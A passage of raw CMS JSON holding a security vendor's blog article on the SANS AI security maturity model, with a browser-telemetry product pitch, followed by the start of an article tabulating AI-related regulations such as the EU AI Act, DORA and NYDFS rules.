protection",{"data":1841,"content":1842,"nodeType":866},{},[1843,1847,1852],{"data":1844,"marks":1845,"value":1846,"nodeType":865},{},[],"Most AI security conversations today - the vendor pitches, board decks, and compliance checklists - are about the ",{"data":1848,"marks":1849,"value":1851,"nodeType":865},{},[1850],{"type":926},"Govern",{"data":1853,"marks":1854,"value":1855,"nodeType":865},{},[]," pillar. Shadow AI discovery. Usage policies. Data classification. Controls around what employees paste into AI prompts or upload to AI tools. It's important work.",{"data":1857,"content":1858,"nodeType":866},{},[1859,1863,1868],{"data":1860,"marks":1861,"value":1862,"nodeType":865},{},[],"But the SANS model gives roughly equal weight to a second pillar that gets almost no attention: ",{"data":1864,"marks":1865,"value":1867,"nodeType":865},{},[1866],{"type":926},"Protect",{"data":1869,"marks":1870,"value":1871,"nodeType":865},{},[]," - defending against AI-enabled attacks.",{"data":1873,"content":1874,"nodeType":866},{},[1875],{"data":1876,"marks":1877,"value":1878,"nodeType":865},{},[],"The Protect pillar starts from a stark baseline. At Stage 1, most organizations have no visibility into which AI agents or browser extensions have access to their corporate environment, let alone a framework for understanding how those could be attacked. ",{"data":1880,"content":1881,"nodeType":866},{},[1882],{"data":1883,"marks":1884,"value":1885,"nodeType":865},{},[],"By Stage 3, the model expects runtime validation of AI tools and plugins, detection capabilities mapped to AI-specific attack frameworks, and controls that cover the growing surface area of agentic AI. ",{"data":1887,"content":1888,"nodeType":866},{},[1889],{"data":1890,"marks":1891,"value":1892,"nodeType":865},{},[],"By Stage 4, organizations need real-time monitoring of AI agent behavior and defenses against attacks that exploit trust relationships between AI systems — capabilities most security teams haven't started scoping, much less building or procuring.",{"data":1894,"content":1895,"nodeType":866},{},[1896,1900,1910],{"data":1897,"marks":1898,"value":1899,"nodeType":865},{},[],"These are detection and response capabilities, not governance exercises — and the attacks they address are already well underway. ",{"data":1901,"content":1903,"nodeType":889},{"uri":1902},"https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/",[1904],{"data":1905,"marks":1906,"value":1909,"nodeType":865},{},[1907,1908],{"type":943},{"type":926},"One in three phishing payloads",{"data":1911,"marks":1912,"value":1913,"nodeType":865},{},[]," intercepted by Push arrive outside of email, through channels where most security controls don't exist. Evidence of the growth of browser-based attack methods enabled by AI tooling abounds:",{"data":1915,"content":1916,"nodeType":1616},{},[1917,1939,1961],{"data":1918,"content":1919,"nodeType":1570},{},[1920],{"data":1921,"content":1922,"nodeType":866},{},[1923,1927,1935],{"data":1924,"marks":1925,"value":1926,"nodeType":865},{},[],"CrowdStrike's 2026 Global Threat Report documented a ",{"data":1928,"content":1930,"nodeType":889},{"uri":1929},"https://www.crowdstrike.com/explore/2026-global-threat-report",[1931],{"data":1932,"marks":1933,"value":1934,"nodeType":865},{},[],"563% increase in ClickFix lures",{"data":1936,"marks":1937,"value":1938,"nodeType":865},{},[]," — fake CAPTCHA pages that trick users into executing malicious commands on their own machines.",{"data":1940,"content":1941,"nodeType":1570},{},[1942],{"data":1943,"content":1944,"nodeType":866},{},[1945,1949,1957],{"data":1946,"marks":1947,"value":1948,"nodeType":865},{},[],"Push has tracked a ",{"data":1950,"content":1952,"nodeType":889},{"uri":1951},"https://pushsecurity.com/blog/device-code-phishing/",[1953],{"data":1954,"marks":1955,"value":1956,"nodeType":865},{},[],"37x increase in device code phishing",{"data":1958,"marks":1959,"value":1960,"nodeType":865},{},[]," since the start of 2026, with 18+ distinct kits now offering the technique.",{"data":1962,"content":1963,"nodeType":1570},{},[1964],{"data":1965,"content":1966,"nodeType":866},{},[1967,1970,1979,1983,1988,1992,1997],{"data":1968,"marks":1969,"value":21,"nodeType":865},{},[],{"data":1971,"content":1973,"nodeType":889},{"uri":1972},"https://www.anthropic.com/news/AI-enabled-cyber-threats-mitre-attack",[1974],{"data":1975,"marks":1976,"value":1978,"nodeType":865},{},[1977],{"type":943},"Anthropic",{"data":1980,"marks":1981,"value":1982,"nodeType":865},{},[]," identified ",{"data":1984,"marks":1985,"value":1987,"nodeType":865},{},[1986],{"type":926},"793 threat actors using AI",{"data":1989,"marks":1990,"value":1991,"nodeType":865},{},[]," for malicious cybersecurity purposes between March 2025 and February 2026, with the 2026 Verizon DBIR finding that ",{"data":1993,"marks":1994,"value":1996,"nodeType":865},{},[1995],{"type":926},"44% of AI-assisted initial access was phishing-related",{"data":1998,"marks":1999,"value":1615,"nodeType":865},{},[],{"data":2001,"content":2002,"nodeType":866},{},[2003],{"data":2004,"marks":2005,"value":2006,"nodeType":865},{},[],"Attackers are already vibecoding phishing kits, rotating infrastructure daily, and exploiting identity flows that traditional endpoint and network tools can't see.",{"data":2008,"content":2009,"nodeType":866},{},[2010],{"data":2011,"marks":2012,"value":2013,"nodeType":865},{},[],"The SANS model makes the speed argument a central focus at Stage 4: Detection built for human-pace adversaries is increasingly insufficient when threats operate at machine speed. For organizations investing exclusively in AI governance, AI-enabled threats represent an entire category of risk that is not being addressed.",{"data":2015,"content":2016,"nodeType":972},{},[],{"data":2018,"content":2019,"nodeType":1317},{},[2020],{"data":2021,"marks":2022,"value":2024,"nodeType":865},{},[2023],{"type":926},"Why governance alone can't close the gap",{"data":2026,"content":2027,"nodeType":866},{},[2028,2032,2037],{"data":2029,"marks":2030,"value":2031,"nodeType":865},{},[],"An organization can have an AI policy, shadow AI discovery, data classification, and usage controls, and ",{"data":2033,"marks":2034,"value":2036,"nodeType":865},{},[2035],{"type":898},"still",{"data":2038,"marks":2039,"value":2040,"nodeType":865},{},[]," be exposed. When an employee hits a device code phishing page or a ClickFix lure, the governance program documented the risk perfectly. It just couldn't stop the attack. The policy existed but the detection (and ideally, mitigation) didn't.",{"data":2042,"content":2043,"nodeType":866},{},[2044],{"data":2045,"marks":2046,"value":2047,"nodeType":865},{},[],"The reverse is equally true, and it's why the SANS model treats the pillars as interdependent rather than sequential. Detection capabilities that fire into a void with no policy to act on findings, no classification to assess exposure, and no governance body to shape proactive policy just create alerts, not security. ",{"data":2049,"content":2050,"nodeType":866},{},[2051],{"data":2052,"marks":2053,"value":2054,"nodeType":865},{},[],"Yet most organizations are only investing heavily in one side of the solution, which is almost always Govern. The maturity model is explicit about the risks of this approach: Governance with no attack detection leaves a critical gap. ",{"data":2056,"content":2057,"nodeType":866},{},[2058],{"data":2059,"marks":2060,"value":2062,"nodeType":865},{},[2061],{"type":926},"Closing the gap requires a control point where both problems are visible and addressable.",{"data":2064,"content":2065,"nodeType":972},{},[],{"data":2067,"content":2068,"nodeType":981},{},[2069],{"data":2070,"marks":2071,"value":2073,"nodeType":865},{},[2072],{"type":926},"Crossing the chasm requires addressing both pillars at once",{"data":2075,"content":2076,"nodeType":866},{},[2077,2081,2088],{"data":2078,"marks":2079,"value":2080,"nodeType":865},{},[],"The bottleneck for most security programs ",{"data":2082,"content":2083,"nodeType":889},{"uri":1902},[2084],{"data":2085,"marks":2086,"value":2087,"nodeType":865},{},[],"isn't frameworks or strategy — it's data quality",{"data":2089,"marks":2090,"value":2091,"nodeType":865},{},[],". For teams taking on the dual problems of shadow AI and AI-enabled attacks, browser telemetry is the foundation to any meaningful solution. That’s because both problems converge in the same place.",{"data":2093,"content":2094,"nodeType":866},{},[2095],{"data":2096,"marks":2097,"value":2098,"nodeType":865},{},[],"AI-enabled phishing attacks, credential theft, malicious browser extensions, and OAuth exploitation happen in the browser. So do shadow AI adoption, sensitive data pasted into AI prompts, file uploads to unapproved tools, and unauthorized integrations. The browser is where external attacks and internal misuse are both visible and stoppable.",{"data":2100,"content":2101,"nodeType":866},{},[2102],{"data":2103,"marks":2104,"value":2105,"nodeType":865},{},[],"For the security team trying to advance past the Framework of No, browser telemetry replaces the blunt instrument of network-level blocking with actual visibility:",{"data":2107,"content":2108,"nodeType":1616},{},[2109,2119,2129],{"data":2110,"content":2111,"nodeType":1570},{},[2112],{"data":2113,"content":2114,"nodeType":866},{},[2115],{"data":2116,"marks":2117,"value":2118,"nodeType":865},{},[],"which AI apps are in use (including personal account usage)",{"data":2120,"content":2121,"nodeType":1570},{},[2122],{"data":2123,"content":2124,"nodeType":866},{},[2125],{"data":2126,"marks":2127,"value":2128,"nodeType":865},{},[],"what data is moving into them (file uploads, clipboard activity)",{"data":2130,"content":2131,"nodeType":1570},{},[2132],{"data":2133,"content":2134,"nodeType":866},{},[2135],{"data":2136,"marks":2137,"value":2138,"nodeType":865},{},[],"graduated controls - per-app, per-user group, per-content pattern - that can monitor, warn, or block based on context rather than allow/deny",{"data":2140,"content":2141,"nodeType":866},{},[2142],{"data":2143,"marks":2144,"value":2145,"nodeType":865},{},[],"The same browser-layer instrumentation can also provide real-time detection of credential phishing, ClickFix, adversary-in-the-middle attacks, and device code phishing. And it can detect and disable malicious browser extensions based on confirmed threat intelligence, monitor OAuth integrations, and generate the identity attack surface data (login behaviors, MFA gaps, SSO coverage) that the Protect pillar requires at Stage 3 maturity and beyond.",{"data":2147,"content":2148,"nodeType":866},{},[2149],{"data":2150,"marks":2151,"value":2152,"nodeType":865},{},[],"We built Push around this insight: that the browser is where both problems converge, and a single deployment can advance AI security maturity in both areas simultaneously. The SANS model makes the same argument.",{"data":2154,"content":2155,"nodeType":972},{},[],{"data":2157,"content":2158,"nodeType":981},{},[2159],{"data":2160,"marks":2161,"value":2163,"nodeType":865},{},[2162],{"type":926},"Where to start: 5 steps to maturity with Push",{"data":2165,"content":2166,"nodeType":866},{},[2167],{"data":2168,"marks":2169,"value":2170,"nodeType":865},{},[],"The chasm closes when organizations make meaningful strides forward in both AI governance and proactive defense against AI-enabled attacks. Here's the starting plan that I'd recommend, and Push can provide the tooling to automate these steps:",{"data":2172,"content":2173,"nodeType":866},{},[2174,2179],{"data":2175,"marks":2176,"value":2178,"nodeType":865},{},[2177],{"type":926},"1. Build an AI inventory automatically.",{"data":2180,"marks":2181,"value":2182,"nodeType":865},{},[]," Every stage transition in the SANS model starts with knowing what's in your environment. A manual survey won't cut it; employees won't self-report the tools they're not sure they're allowed to use, and may overlook apps where AI is a feature but not the core function (AI-enabled apps). Instead, organizations should deploy automated discovery for AI apps, browser extensions, and OAuth integrations across the workforce - including the ones using personal accounts. Until this inventory exists, every policy decision is based on incomplete information.",{"data":2184,"content":2188,"nodeType":912},{"target":2185},{"sys":2186},{"id":2187,"type":909,"linkType":910},"2t3u0NydllImv6NzvAY058",[],{"data":2190,"content":2191,"nodeType":866},{},[2192,2197],{"data":2193,"marks":2194,"value":2196,"nodeType":865},{},[2195],{"type":926},"2. Classify what you find.",{"data":2198,"marks":2199,"value":2200,"nodeType":865},{},[]," Not all AI usage carries the same risk. A developer pasting code into ChatGPT and a salesperson using an AI notetaker are different problems. Once you can see the tools, categorize them by data sensitivity, authorization status, and access scope. The SANS model calls out data classification as a critical prerequisite; you can't write an effective AI policy without knowing where sensitive data lives.",{"data":2202,"content":2203,"nodeType":866},{},[2204,2209],{"data":2205,"marks":2206,"value":2208,"nodeType":865},{},[2207],{"type":926},"3. Turn on browser-layer detection.",{"data":2210,"marks":2211,"value":2212,"nodeType":865},{},[]," This is the step most organizations skip, and it's why addressing only the Protect pillar will keep you at Stage 1. AI-enabled phishing, ClickFix attacks, device code phishing, malicious extension updates, and OAuth exploitation all execute in the browser. Without detection in that layer, there's no visibility into the fastest-growing attack category, and no path to advancing beyond basic AI usage awareness.",{"data":2214,"content":2218,"nodeType":912},{"target":2215},{"sys":2216},{"id":2217,"type":909,"linkType":910},"1fzuGjA6VSbVl1p7vM1mt7",[],{"data":2220,"content":2221,"nodeType":866},{},[2222,2227],{"data":2223,"marks":2224,"value":2226,"nodeType":865},{},[2225],{"type":926},"4. Move from blocking to graduated controls.",{"data":2228,"marks":2229,"value":2230,"nodeType":865},{},[]," The Framework of No fails because it's binary: allow or deny, with nothing in between. Organizations that cross the chasm adopt monitor, warn, and block modes — per app, per user group, per content pattern. Monitor first to see what's happening, warn to change behavior without disrupting workflows, and block only where the risk justifies it. This is the operational difference between Stage 2 and Stage 3.",{"data":2232,"content":2233,"nodeType":866},{},[2234,2239,2243,2249],{"data":2235,"marks":2236,"value":2238,"nodeType":865},{},[2237],{"type":926},"5. Assess yourself honestly against evidence, not aspiration.",{"data":2240,"marks":2241,"value":2242,"nodeType":865},{},[]," The ",{"data":2244,"content":2245,"nodeType":889},{"uri":1541},[2246],{"data":2247,"marks":2248,"value":1546,"nodeType":865},{},[],{"data":2250,"marks":2251,"value":2252,"nodeType":865},{},[]," includes a self-assessment and industry-specific weighting profiles. The value isn't in the score, but in identifying which pillar is keeping you from advancing.",{"data":2254,"content":2255,"nodeType":866},{},[2256],{"data":2257,"marks":2258,"value":2259,"nodeType":865},{},[],"The organizations that cross the AI security chasm will be the ones that recognize early that AI security isn't one problem with one solution. It's two problems that happen to share a control point. The most efficient path forward is a platform that addresses both.",{"data":2261,"content":2262,"nodeType":972},{},[],{"data":2264,"content":2265,"nodeType":981},{},[2266],{"data":2267,"marks":2268,"value":2270,"nodeType":865},{},[2269],{"type":926},"Learn more about Push",{"data":2272,"content":2273,"nodeType":866},{},[2274],{"data":2275,"marks":2276,"value":2277,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser - high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.",{"data":2279,"content":2280,"nodeType":866},{},[2281],{"data":2282,"marks":2283,"value":1363,"nodeType":865},{},[],{"data":2285,"content":2286,"nodeType":866},{},[2287,2291,2299],{"data":2288,"marks":2289,"value":2290,"nodeType":865},{},[],"Book a ",{"data":2292,"content":2293,"nodeType":889},{"uri":1372},[2294],{"data":2295,"marks":2296,"value":2298,"nodeType":865},{},[2297],{"type":943},"live demo",{"data":2300,"marks":2301,"value":2302,"nodeType":865},{},[]," to learn more.","Crossing the AI security chasm with the SANS AI security maturity model","Most organizations know they have an AI security problem. A new SANS framework shows why so few are making progress - and what it actually takes to get unstuck.","crossing-the-ai-security-chasm-sans-security-maturity-model",{"items":2307},[2308,2311],{"sys":2309,"name":297},{"id":2310},"3pjES4THCIfSAwhGdNwBcy",{"sys":2312,"name":2314},{"id":2313},"1gZi8NrRy2v9OqPV7C4dwD","Risk management",{"items":2316},[2317],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":2318},{"url":853},{"__typename":1429,"sys":2320,"content":2322,"title":3345,"synopsis":3346,"hashTags":59,"publishedDate":3347,"slug":3348,"tagsCollection":3349,"authorsCollection":3355},{"id":2321},"19QvRR4NcSe3PHQEhID42Q",{"json":2323},{"data":2324,"content":2325,"nodeType":1382},{},[2326,2334,2341,2349,2928,2934,2941,2948,2951,2959,2966,2974,2981,2987,2992,3000,3016,3024,3031,3039,3046,3052,3060,3067,3073,3076,3084,3103,3123,3142,3149,3152,3160,3167,3178,3185,3196,3203,3209,3220,3227,3238,3245,3252,3258,3269,3276,3279,3287,3294,3301,3308,3314,3317,3323,3329],{"data":2327,"content":2328,"nodeType":981},{},[2329],{"data":2330,"marks":2331,"value":2333,"nodeType":865},{},[2332],{"type":926},"The AI regulatory landscape is moving fast",{"data":2335,"content":2336,"nodeType":866},{},[2337],{"data":2338,"marks":2339,"value":2340,"nodeType":865},{},[],"The regulatory landscape around AI has shifted from theoretical to operational faster than most compliance teams expected. Several regulations are already in force, presenting not just a legal but also significant operational challenge to organizations covered by these regulations. ",{"data":2342,"content":2343,"nodeType":866},{},[2344],{"data":2345,"marks":2346,"value":2348,"nodeType":865},{},[2347],{"type":926},"First, here's a summary of the key frameworks and what they require:",{"data":2350,"content":2351,"nodeType":2927},{},[2352,2401,2491,2557,2612,2738,2793,2860],{"data":2353,"content":2354,"nodeType":2400},{},[2355,2367,2378,2389],{"data":2356,"content":2357,"nodeType":2366},{},[2358],{"data":2359,"content":2360,"nodeType":866},{},[2361],{"data":2362,"marks":2363,"value":2365,"nodeType":865},{},[2364],{"type":926},"Regulation","table-cell",{"data":2368,"content":2369,"nodeType":2366},{},[2370],{"data":2371,"content":2372,"nodeType":866},{},[2373],{"data":2374,"marks":2375,"value":2377,"nodeType":865},{},[2376],{"type":926},"Jurisdiction",{"data":2379,"content":2380,"nodeType":2366},{},[2381],{"data":2382,"content":2383,"nodeType":866},{},[2384],{"data":2385,"marks":2386,"value":2388,"nodeType":865},{},[2387],{"type":926},"What it requires for AI",{"data":2390,"content":2391,"nodeType":2366},{},[2392],{"data":2393,"content":2394,"nodeType":866},{},[2395],{"data":2396,"marks":2397,"value":2399,"nodeType":865},{},[2398],{"type":926},"Status","table-row",{"data":2402,"content":2403,"nodeType":2400},{},[2404,2426,2436,2470],{"data":2405,"content":2406,"nodeType":2366},{},[2407],{"data":2408,"content":2409,"nodeType":866},{},[2410,2413,2423],{"data":2411,"marks":2412,"value":21,"nodeType":865},{},[],{"data":2414,"content":2416,"nodeType":889},{"uri":2415},"https://artificialintelligenceact.eu/",[2417],{"data":2418,"marks":2419,"value":2422,"nodeType":865},{},[2420,2421],{"type":943},{"type":926},"EU AI Act",{"data":2424,"marks":2425,"value":21,"nodeType":865},{},[],{"data":2427,"content":2428,"nodeType":2366},{},[2429],{"data":2430,"content":2431,"nodeType":866},{},[2432],{"data":2433,"marks":2434,"value":2435,"nodeType":865},{},[],"EU",{"data":2437,"content":2438,"nodeType":2366},{},[2439],{"data":2440,"content":2441,"nodeType":866},{},[2442,2446,2454,2458,2466],{"data":2443,"marks":2444,"value":2445,"nodeType":865},{},[],"AI system inventory and risk classification; ",{"data":2447,"content":2449,"nodeType":889},{"uri":2448},"https://artificialintelligenceact.eu/article/4/",[2450],{"data":2451,"marks":2452,"value":2453,"nodeType":865},{},[],"AI literacy",{"data":2455,"marks":2456,"value":2457,"nodeType":865},{},[]," for all staff; ",{"data":2459,"content":2461,"nodeType":889},{"uri":2460},"https://artificialintelligenceact.eu/article/15/",[2462],{"data":2463,"marks":2464,"value":2465,"nodeType":865},{},[],"cybersecurity resilience",{"data":2467,"marks":2468,"value":2469,"nodeType":865},{},[]," for high-risk AI; transparency and human oversight",{"data":2471,"content":2472,"nodeType":2366},{},[2473],{"data":2474,"content":2475,"nodeType":866},{},[2476,2479,2487],{"data":2477,"marks":2478,"value":21,"nodeType":865},{},[],{"data":2480,"content":2481,"nodeType":889},{"uri":2448},[2482],{"data":2483,"marks":2484,"value":2486,"nodeType":865},{},[2485],{"type":943},"Art. 4",{"data":2488,"marks":2489,"value":2490,"nodeType":865},{},[]," (literacy) in force Feb 2025; high-risk obligations Aug 2026",{"data":2492,"content":2493,"nodeType":2400},{},[2494,2516,2526,2547],{"data":2495,"content":2496,"nodeType":2366},{},[2497],{"data":2498,"content":2499,"nodeType":866},{},[2500,2503,2513],{"data":2501,"marks":2502,"value":21,"nodeType":865},{},[],{"data":2504,"content":2506,"nodeType":889},{"uri":2505},"https://eur-lex.europa.eu/eli/reg/2022/2554/oj",[2507],{"data":2508,"marks":2509,"value":2512,"nodeType":865},{},[2510,2511],{"type":943},{"type":926},"DORA",{"data":2514,"marks":2515,"value":21,"nodeType":865},{},[],{"data":2517,"content":2518,"nodeType":2366},{},[2519],{"data":2520,"content":2521,"nodeType":866},{},[2522],{"data":2523,"marks":2524,"value":2525,"nodeType":865},{},[],"EU financial services",{"data":2527,"content":2528,"nodeType":2366},{},[2529],{"data":2530,"content":2531,"nodeType":866},{},[2532,2536,2543],{"data":2533,"marks":2534,"value":2535,"nodeType":865},{},[],"AI tools in ICT risk framework; AI providers in ",{"data":2537,"content":2538,"nodeType":889},{"uri":2505},[2539],{"data":2540,"marks":2541,"value":2542,"nodeType":865},{},[],"third-party risk registers",{"data":2544,"marks":2545,"value":2546,"nodeType":865},{},[],"; resilience testing covering AI-enhanced attacks",{"data":2548,"content":2549,"nodeType":2366},{},[2550],{"data":2551,"content":2552,"nodeType":866},{},[2553],{"data":2554,"marks":2555,"value":2556,"nodeType":865},{},[],"In force Jan 2025",{"data":2558,"content":2559,"nodeType":2400},{},[2560,2582,2592,2602],{"data":2561,"content":2562,"nodeType":2366},{},[2563],{"data":2564,"content":2565,"nodeType":866},{},[2566,2569,2579],{"data":2567,"marks":2568,"value":21,"nodeType":865},{},[],{"data":2570,"content":2572,"nodeType":889},{"uri":2571},"https://eur-lex.europa.eu/eli/reg/2024/2847/oj",[2573],{"data":2574,"marks":2575,"value":2578,"nodeType":865},{},[2576,2577],{"type":943},{"type":926},"EU Cyber Resilience Act",{"data":2580,"marks":2581,"value":21,"nodeType":865},{},[],{"data":2583,"content":2584,"nodeType":2366},{},[2585],{"data":2586,"content":2587,"nodeType":866},{},[2588],{"data":2589,"marks":2590,"value":2591,"nodeType":865},{},[],"EU digital products",{"data":2593,"content":2594,"nodeType":2366},{},[2595],{"data":2596,"content":2597,"nodeType":866},{},[2598],{"data":2599,"marks":2600,"value":2601,"nodeType":865},{},[],"AI-enabled software must meet essential cybersecurity requirements; vulnerability management and incident reporting",{"data":2603,"content":2604,"nodeType":2366},{},[2605],{"data":2606,"content":2607,"nodeType":866},{},[2608],{"data":2609,"marks":2610,"value":2611,"nodeType":865},{},[],"Reporting Sep 2026; full compliance Dec 2027",{"data":2613,"content":2614,"nodeType":2400},{},[2615,2637,2647,2697],{"data":2616,"content":2617,"nodeType":2366},{},[2618],{"data":2619,"content":2620,"nodeType":866},{},[2621,2624,2634],{"data":2622,"marks":2623,"value":21,"nodeType":865},{},[],{"data":2625,"content":2627,"nodeType":889},{"uri":2626},"https://www.dfs.ny.gov/industry_guidance/cybersecurity",[2628],{"data":2629,"marks":2630,"value":2633,"nodeType":865},{},[2631,2632],{"type":943},{"type":926},"NYDFS 23 NYCRR 500",{"data":2635,"marks":2636,"value":21,"nodeType":865},{},[],{"data":2638,"content":2639,"nodeType":2366},{},[2640],{"data":2641,"content":2642,"nodeType":866},{},[2643],{"data":2644,"marks":2645,"value":2646,"nodeType":865},{},[],"US (NY financial services)",{"data":2648,"content":2649,"nodeType":2366},{},[2650],{"data":2651,"content":2652,"nodeType":866},{},[2653,2656,2665,2669,2677,2681,2694],{"data":2654,"marks":2655,"value":21,"nodeType":865},{},[],{"data":2657,"content":2659,"nodeType":889},{"uri":2658},"https://www.dfs.ny.gov/industry-guidance/industry-letters/il20241016-cyber-risks-ai-and-strategies-combat-related-risks",[2660],{"data":2661,"marks":2662,"value":2664,"nodeType":865},{},[2663],{"type":943},"AI-resistant MFA",{"data":2666,"marks":2667,"value":2668,"nodeType":865},{},[],"; employee training on AI threats; ",{"data":2670,"content":2672,"nodeType":889},{"uri":2671},"https://www.dfs.ny.gov/industry-guidance/industry-letters/il20251021-guidance-managing-risks-third-party",[2673],{"data":2674,"marks":2675,"value":2676,"nodeType":865},{},[],"third-party AI risk assessment",{"data":2678,"marks":2679,"value":2680,"nodeType":865},{},[],";",{"data":2682,"content":2684,"nodeType":889},{"uri":2683},"https://www.dfs.ny.gov/industry-guidance/industry-letters/20260521-heightened-cybersecurity-risks-assoc-with-frontier-ai-models",[2685,2689],{"data":2686,"marks":2687,"value":2688,"nodeType":865},{},[]," ",{"data":2690,"marks":2691,"value":2693,"nodeType":865},{},[2692],{"type":943},"frontier AI model defenses",{"data":2695,"marks":2696,"value":21,"nodeType":865},{},[],{"data":2698,"content":2699,"nodeType":2366},{},[2700],{"data":2701,"content":2702,"nodeType":866},{},[2703,2707,2714,2718,2725,2728,2735],{"data":2704,"marks":2705,"value":2706,"nodeType":865},{},[],"Phased 2023–2025; AI-specific guidance issued ",{"data":2708,"content":2709,"nodeType":889},{"uri":2658},[2710],{"data":2711,"marks":2712,"value":2713,"nodeType":865},{},[],"Oct 2024",{"data":2715,"marks":2716,"value":2717,"nodeType":865},{},[],", ",{"data":2719,"content":2720,"nodeType":889},{"uri":2671},[2721],{"data":2722,"marks":2723,"value":2724,"nodeType":865},{},[],"Oct 2025",{"data":2726,"marks":2727,"value":2717,"nodeType":865},{},[],{"data":2729,"content":2730,"nodeType":889},{"uri":2683},[2731],{"data":2732,"marks":2733,"value":2734,"nodeType":865},{},[],"May 2026",{"data":2736,"marks":2737,"value":21,"nodeType":865},{},[],{"data":2739,"content":2740,"nodeType":2400},{},[2741,2763,2773,2783],{"data":2742,"content":2743,"nodeType":2366},{},[2744],{"data":2745,"content":2746,"nodeType":866},{},[2747,2750,2760],{"data":2748,"marks":2749,"value":21,"nodeType":865},{},[],{"data":2751,"content":2753,"nodeType":889},{"uri":2752},"https://www.ncsl.org/technology-and-communication/2025-state-privacy-legislation-tracker",[2754],{"data":2755,"marks":2756,"value":2759,"nodeType":865},{},[2757,2758],{"type":943},{"type":926},"US State Privacy laws",{"data":2761,"marks":2762,"value":21,"nodeType":865},{},[],{"data":2764,"content":2765,"nodeType":2366},{},[2766],{"data":2767,"content":2768,"nodeType":866},{},[2769],{"data":2770,"marks":2771,"value":2772,"nodeType":865},{},[],"US (20+ states)",{"data":2774,"content":2775,"nodeType":2366},{},[2776],{"data":2777,"content":2778,"nodeType":866},{},[2779],{"data":2780,"marks":2781,"value":2782,"nodeType":865},{},[],"Automated decision-making transparency, opt-out rights, and impact assessments; AI and children's data protections",{"data":2784,"content":2785,"nodeType":2366},{},[2786],{"data":2787,"content":2788,"nodeType":866},{},[2789],{"data":2790,"marks":2791,"value":2792,"nodeType":865},{},[],"Rolling 2024–2027 (CA, CO, CT leading)",{"data":2794,"content":2795,"nodeType":2400},{},[2796,2818,2828,2838],{"data":2797,"content":2798,"nodeType":2366},{},[2799],{"data":2800,"content":2801,"nodeType":866},{},[2802,2805,2815],{"data":2803,"marks":2804,"value":21,"nodeType":865},{},[],{"data":2806,"content":2808,"nodeType":889},{"uri":2807},"https://www.hhs.gov/hipaa/for-professionals/security/hipaa-security-rule-nprm/index.html",[2809],{"data":2810,"marks":2811,"value":2814,"nodeType":865},{},[2812,2813],{"type":943},{"type":926},"HIPAA Security Rule",{"data":2816,"marks":2817,"value":21,"nodeType":865},{},[],{"data":2819,"content":2820,"nodeType":2366},{},[2821],{"data":2822,"content":2823,"nodeType":866},{},[2824],{"data":2825,"marks":2826,"value":2827,"nodeType":865},{},[],"US healthcare",{"data":2829,"content":2830,"nodeType":2366},{},[2831],{"data":2832,"content":2833,"nodeType":866},{},[2834],{"data":2835,"marks":2836,"value":2837,"nodeType":865},{},[],"AI tools in mandatory technology asset inventory; mandatory encryption covering AI; AI-enhanced attack preparedness",{"data":2839,"content":2840,"nodeType":2366},{},[2841],{"data":2842,"content":2843,"nodeType":866},{},[2844,2847,2856],{"data":2845,"marks":2846,"value":21,"nodeType":865},{},[],{"data":2848,"content":2850,"nodeType":889},{"uri":2849},"https://www.hhs.gov/hipaa/for-professionals/security/hipaa-security-rule-nprm/factsheet/index.html",[2851],{"data":2852,"marks":2853,"value":2855,"nodeType":865},{},[2854],{"type":943},"Final rule",{"data":2857,"marks":2858,"value":2859,"nodeType":865},{},[]," expected 2026",{"data":2861,"content":2862,"nodeType":2400},{},[2863,2885,2895,2917],{"data":2864,"content":2865,"nodeType":2366},{},[2866],{"data":2867,"content":2868,"nodeType":866},{},[2869,2872,2882],{"data":2870,"marks":2871,"value":21,"nodeType":865},{},[],{"data":2873,"content":2875,"nodeType":889},{"uri":2874},"https://www.legislation.gov.uk/ukpga/2025/18",[2876],{"data":2877,"marks":2878,"value":2881,"nodeType":865},{},[2879,2880],{"type":943},{"type":926},"UK Data (Use and Access) Act",{"data":2883,"marks":2884,"value":21,"nodeType":865},{},[],{"data":2886,"content":2887,"nodeType":2366},{},[2888],{"data":2889,"content":2890,"nodeType":866},{},[2891],{"data":2892,"marks":2893,"value":2894,"nodeType":865},{},[],"UK",{"data":2896,"content":2897,"nodeType":2366},{},[2898],{"data":2899,"content":2900,"nodeType":866},{},[2901,2905,2913],{"data":2902,"marks":2903,"value":2904,"nodeType":865},{},[],"Reformed ",{"data":2906,"content":2908,"nodeType":889},{"uri":2907},"https://www.legislation.gov.uk/ukpga/2025/18/section/80",[2909],{"data":2910,"marks":2911,"value":2912,"nodeType":865},{},[],"automated decision-making rules",{"data":2914,"marks":2915,"value":2916,"nodeType":865},{},[]," (new Arts. 22A-22D UK GDPR): meaningful information about decisions, right to make representations, human intervention and contestation rights; stricter controls for special category data; new complaints-handling duty with 30-day response clock (from June 2026)",{"data":2918,"content":2919,"nodeType":2366},{},[2920],{"data":2921,"content":2922,"nodeType":866},{},[2923],{"data":2924,"marks":2925,"value":2926,"nodeType":865},{},[],"Main provisions Feb 2026; complaints duty June 2026","table",{"data":2929,"content":2933,"nodeType":912},{"target":2930},{"sys":2931},{"id":2932,"type":909,"linkType":910},"1J7nJKJ5XDLLiicX9cD4H1",[],{"data":2935,"content":2936,"nodeType":866},{},[2937],{"data":2938,"marks":2939,"value":2940,"nodeType":865},{},[],"Even if your organization isn't yet subject to these specific regulations, the direction of travel matters. The EU has a track record of setting global regulatory standards: GDPR reshaped data privacy practices worldwide, and the Digital Markets Act is influencing antitrust enforcement well beyond European borders.",{"data":2942,"content":2943,"nodeType":866},{},[2944],{"data":2945,"marks":2946,"value":2947,"nodeType":865},{},[],"The EU AI Act is the world's first comprehensive AI law, and the pattern of obligation categories it establishes is already visible in NYDFS guidance, US state privacy legislation, and the UK's reformed automated decision-making framework. Organizations that build the operational foundations to meet these obligations now will be ahead of whatever comes next, regardless of jurisdiction.",{"data":2949,"content":2950,"nodeType":972},{},[],{"data":2952,"content":2953,"nodeType":981},{},[2954],{"data":2955,"marks":2956,"value":2958,"nodeType":865},{},[2957],{"type":926},"Five obligation categories appear across frameworks",{"data":2960,"content":2961,"nodeType":866},{},[2962],{"data":2963,"marks":2964,"value":2965,"nodeType":865},{},[],"Across these frameworks, the AI-specific obligations cluster into five categories. Individual regulations word them differently and scope them to different sectors, but the compliance actions they require are largely the 